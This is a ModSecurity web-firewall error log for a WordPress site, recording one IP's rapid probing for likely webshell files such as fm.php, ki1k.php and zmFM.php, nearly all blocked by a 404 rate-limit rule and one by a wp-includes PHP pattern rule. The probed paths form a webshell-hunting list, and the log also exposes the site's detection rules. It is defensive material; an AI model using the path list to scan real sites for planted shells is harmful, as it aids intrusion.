[Mon Mar 30 03:37:36.836364 2026] [:error] [pid 4040:tid 4116] [client 40.75.84.21:22400] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "acl_gAxlbJV8kpOpFvY1AAAAAIg"]
[Mon Mar 30 03:37:37.295259 2026] [:error] [pid 4139:tid 4148] [client 40.75.84.21:22408] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "acl_gYYyhg47TZoaP9LngQAAAME"]
[Mon Mar 30 03:37:37.710700 2026] [:error] [pid 4139:tid 4152] [client 40.75.84.21:22487] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "acl_gYYyhg47TZoaP9LniQAAAMU"]
[Mon Mar 30 03:37:38.118990 2026] [:error] [pid 4040:tid 4130] [client 40.75.84.21:22505] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "acl_ggxlbJV8kpOpFvY1AgAAAJY"]
[Mon Mar 30 03:37:38.519625 2026] [:error] [pid 4040:tid 4125] [client 40.75.84.21:22464] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "acl_ggxlbJV8kpOpFvY1CAAAAJE"]
[Mon Mar 30 03:37:38.935751 2026] [:error] [pid 4139:tid 4151] [client 40.75.84.21:22493] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "acl_goYyhg47TZoaP9LnmQAAAMQ"]
[Mon Mar 30 03:37:39.337371 2026] [:error] [pid 4139:tid 4169] [client 40.75.84.21:22404] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/msy.php"] [unique_id "acl_g4Yyhg47TZoaP9LnnQAAANY"]
[Mon Mar 30 03:37:39.744869 2026] [:error] [pid 4033:tid 4072] [client 40.75.84.21:22485] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/msy.php"] [unique_id "acl_g6nf-DXI9VblHi0NuwAAABM"]
[Mon Mar 30 03:37:40.180415 2026] [:error] [pid 4033:tid 4056] [client 40.75.84.21:22403] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/msy.php"] [unique_id "acl_hKnf-DXI9VblHi0NvgAAAAM"]
[Mon Mar 30 03:37:40.605574 2026] [:error] [pid 4033:tid 4060] [client 40.75.84.21:22476] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/msy.php"] [unique_id "acl_hKnf-DXI9VblHi0NwQAAAAc"]
[Mon Mar 30 03:37:41.024344 2026] [:error] [pid 4034:tid 4103] [client 40.75.84.21:22494] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "acl_hbfAq8eF_uU4gu19vwAAAFY"]
[Mon Mar 30 03:37:41.435073 2026] [:error] [pid 4139:tid 4155] [client 40.75.84.21:22338] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "acl_hYYyhg47TZoaP9LntgAAAMg"]
[Mon Mar 30 03:37:41.849522 2026] [:error] [pid 4034:tid 4086] [client 40.75.84.21:22513] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "acl_hbfAq8eF_uU4gu19wgAAAEU"]
[Mon Mar 30 03:37:42.387353 2026] [:error] [pid 4139:tid 4168] [client 40.75.84.21:22402] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "acl_hoYyhg47TZoaP9LnvwAAANU"]
[Mon Mar 30 03:37:42.793078 2026] [:error] [pid 4139:tid 4162] [client 40.75.84.21:22497] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7T6.php"] [unique_id "acl_hoYyhg47TZoaP9LnwwAAAM8"]
[Mon Mar 30 03:37:43.214139 2026] [:error] [pid 4040:tid 4124] [client 40.75.84.21:22490] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7T6.php"] [unique_id "acl_hwxlbJV8kpOpFvY1GgAAAJA"]
[Mon Mar 30 03:37:43.615350 2026] [:error] [pid 4040:tid 4116] [client 40.75.84.21:22417] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7T6.php"] [unique_id "acl_hwxlbJV8kpOpFvY1HAAAAIg"]
[Mon Mar 30 03:37:44.041860 2026] [:error] [pid 4034:tid 4082] [client 40.75.84.21:22429] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7T6.php"] [unique_id "acl_iLfAq8eF_uU4gu19ygAAAEE"]
[Mon Mar 30 03:37:44.502498 2026] [:error] [pid 4040:tid 4119] [client 40.75.84.21:22488] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alog.php"] [unique_id "acl_iAxlbJV8kpOpFvY1KAAAAIs"]
[Mon Mar 30 03:37:44.971325 2026] [:error] [pid 4139:tid 4147] [client 40.75.84.21:22519] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alog.php"] [unique_id "acl_iIYyhg47TZoaP9Ln0wAAAMA"]
[Mon Mar 30 03:37:45.441366 2026] [:error] [pid 4040:tid 4114] [client 40.75.84.21:22418] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alog.php"] [unique_id "acl_iQxlbJV8kpOpFvY1NgAAAIY"]
[Mon Mar 30 03:37:45.840858 2026] [:error] [pid 4040:tid 4132] [client 40.75.84.21:22466] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alog.php"] [unique_id "acl_iQxlbJV8kpOpFvY1OwAAAJg"]
[Mon Mar 30 03:37:46.256658 2026] [:error] [pid 4040:tid 4110] [client 40.75.84.21:22415] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "acl_igxlbJV8kpOpFvY1QAAAAII"]
[Mon Mar 30 03:37:46.664791 2026] [:error] [pid 4040:tid 4126] [client 40.75.84.21:22501] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "acl_igxlbJV8kpOpFvY1RQAAAJI"]
[Mon Mar 30 03:37:47.132808 2026] [:error] [pid 4139:tid 4164] [client 40.75.84.21:22477] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "acl_i4Yyhg47TZoaP9Ln3gAAANE"]
[Mon Mar 30 03:37:47.778398 2026] [:error] [pid 4139:tid 4161] [client 40.75.84.21:22478] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "acl_i4Yyhg47TZoaP9Ln5QAAAM4"]
[Mon Mar 30 03:37:48.355745 2026] [:error] [pid 4139:tid 4157] [client 40.75.84.21:22482] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sef.php"] [unique_id "acl_jIYyhg47TZoaP9Ln7QAAAMo"]
[Mon Mar 30 03:37:48.792278 2026] [:error] [pid 4139:tid 4151] [client 40.75.84.21:22423] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sef.php"] [unique_id "acl_jIYyhg47TZoaP9Ln8QAAAMQ"]
[Mon Mar 30 03:37:49.198777 2026] [:error] [pid 4139:tid 4156] [client 40.75.84.21:22401] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sef.php"] [unique_id "acl_jYYyhg47TZoaP9Ln9AAAAMk"]
[Mon Mar 30 03:37:49.789948 2026] [:error] [pid 4040:tid 4130] [client 40.75.84.21:22463] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sef.php"] [unique_id "acl_jQxlbJV8kpOpFvY1XAAAAJY"]
[Mon Mar 30 03:37:50.199706 2026] [:error] [pid 4040:tid 4117] [client 40.75.84.21:22525] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ztv.php"] [unique_id "acl_jgxlbJV8kpOpFvY1XgAAAIk"]
[Mon Mar 30 03:37:50.643415 2026] [:error] [pid 4033:tid 4069] [client 40.75.84.21:22480] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ztv.php"] [unique_id "acl_jqnf-DXI9VblHi0NzAAAABA"]
[Mon Mar 30 03:37:51.064021 2026] [:error] [pid 4139:tid 4148] [client 40.75.84.21:22414] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ztv.php"] [unique_id "acl_j4Yyhg47TZoaP9LoAAAAAME"]
[Mon Mar 30 03:37:51.542063 2026] [:error] [pid 4033:tid 4061] [client 40.75.84.21:22407] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ztv.php"] [unique_id "acl_j6nf-DXI9VblHi0NzwAAAAg"]
[Mon Mar 30 03:37:51.942825 2026] [:error] [pid 4033:tid 4066] [client 40.75.84.21:22437] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Rk41.php"] [unique_id "acl_j6nf-DXI9VblHi0N0AAAAA0"]
[Mon Mar 30 03:37:52.349756 2026] [:error] [pid 4033:tid 4064] [client 40.75.84.21:22526] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Rk41.php"] [unique_id "acl_kKnf-DXI9VblHi0N0wAAAAs"]
[Mon Mar 30 03:37:52.788854 2026] [:error] [pid 4040:tid 4129] [client 40.75.84.21:22339] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Rk41.php"] [unique_id "acl_kAxlbJV8kpOpFvY1awAAAJU"]
[Mon Mar 30 03:37:53.364629 2026] [:error] [pid 4033:tid 4057] [client 40.75.84.21:22406] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Rk41.php"] [unique_id "acl_kanf-DXI9VblHi0N1wAAAAQ"]
[Mon Mar 30 03:37:53.765919 2026] [:error] [pid 4033:tid 4075] [client 40.75.84.21:22372] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "acl_kanf-DXI9VblHi0N2wAAABY"]
[Mon Mar 30 03:37:54.260981 2026] [:error] [pid 4040:tid 4130] [client 40.75.84.21:22520] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acl_kgxlbJV8kpOpFvY1cQAAAJY"]
[Mon Mar 30 03:37:54.837899 2026] [:error] [pid 4139:tid 4154] [client 40.75.84.21:22411] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acl_koYyhg47TZoaP9LoFwAAAMc"]
[Mon Mar 30 03:37:55.267617 2026] [:error] [pid 4040:tid 4111] [client 40.75.84.21:22425] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acl_kwxlbJV8kpOpFvY1dwAAAIM"]
[Mon Mar 30 03:37:55.847032 2026] [:error] [pid 4034:tid 4102] [client 40.75.84.21:22461] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "acl_k7fAq8eF_uU4gu193QAAAFU"]
[Mon Mar 30 03:37:56.246721 2026] [:error] [pid 4139:tid 4168] [client 40.75.84.21:22452] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "acl_lIYyhg47TZoaP9LoHAAAANU"]
[Mon Mar 30 03:37:56.664155 2026] [:error] [pid 4034:tid 4085] [client 40.75.84.21:22507] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "acl_lLfAq8eF_uU4gu193gAAAEQ"]
[Mon Mar 30 03:37:57.066979 2026] [:error] [pid 4139:tid 4164] [client 40.75.84.21:22481] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/fm.php"] [unique_id "acl_lYYyhg47TZoaP9LoIgAAANE"]
[Mon Mar 30 03:37:57.471557 2026] [:error] [pid 4040:tid 4116] [client 40.75.84.21:22449] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acl_lQxlbJV8kpOpFvY1hgAAAIg"]
[Mon Mar 30 03:37:57.873821 2026] [:error] [pid 4040:tid 4118] [client 40.75.84.21:22342] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acl_lQxlbJV8kpOpFvY1iAAAAIo"]
[Mon Mar 30 03:37:58.290016 2026] [:error] [pid 4040:tid 4112] [client 40.75.84.21:22410] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acl_lgxlbJV8kpOpFvY1jAAAAIQ"]
[Mon Mar 30 03:37:58.728878 2026] [:error] [pid 4034:tid 4091] [client 40.75.84.21:22475] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acl_lrfAq8eF_uU4gu195gAAAEo"]
[Mon Mar 30 03:37:59.135787 2026] [:error] [pid 4033:tid 4060] [client 40.75.84.21:22491] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acl_l6nf-DXI9VblHi0N5wAAAAc"]
[Mon Mar 30 03:37:59.576100 2026] [:error] [pid 4040:tid 4130] [client 40.75.84.21:22471] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acl_lwxlbJV8kpOpFvY1lQAAAJY"]
[Mon Mar 30 03:37:59.980399 2026] [:error] [pid 4040:tid 4112] [client 40.75.84.21:22365] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acl_lwxlbJV8kpOpFvY1mQAAAIQ"]
[Mon Mar 30 03:38:00.415100 2026] [:error] [pid 4040:tid 4110] [client 40.75.84.21:22479] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acl_mAxlbJV8kpOpFvY1nAAAAII"]
[Mon Mar 30 03:38:00.817320 2026] [:error] [pid 4040:tid 4118] [client 40.75.84.21:22421] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "acl_mAxlbJV8kpOpFvY1oQAAAIo"]
[Mon Mar 30 03:38:01.228119 2026] [:error] [pid 4139:tid 4161] [client 40.75.84.21:22456] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "acl_mYYyhg47TZoaP9LoPAAAAM4"]
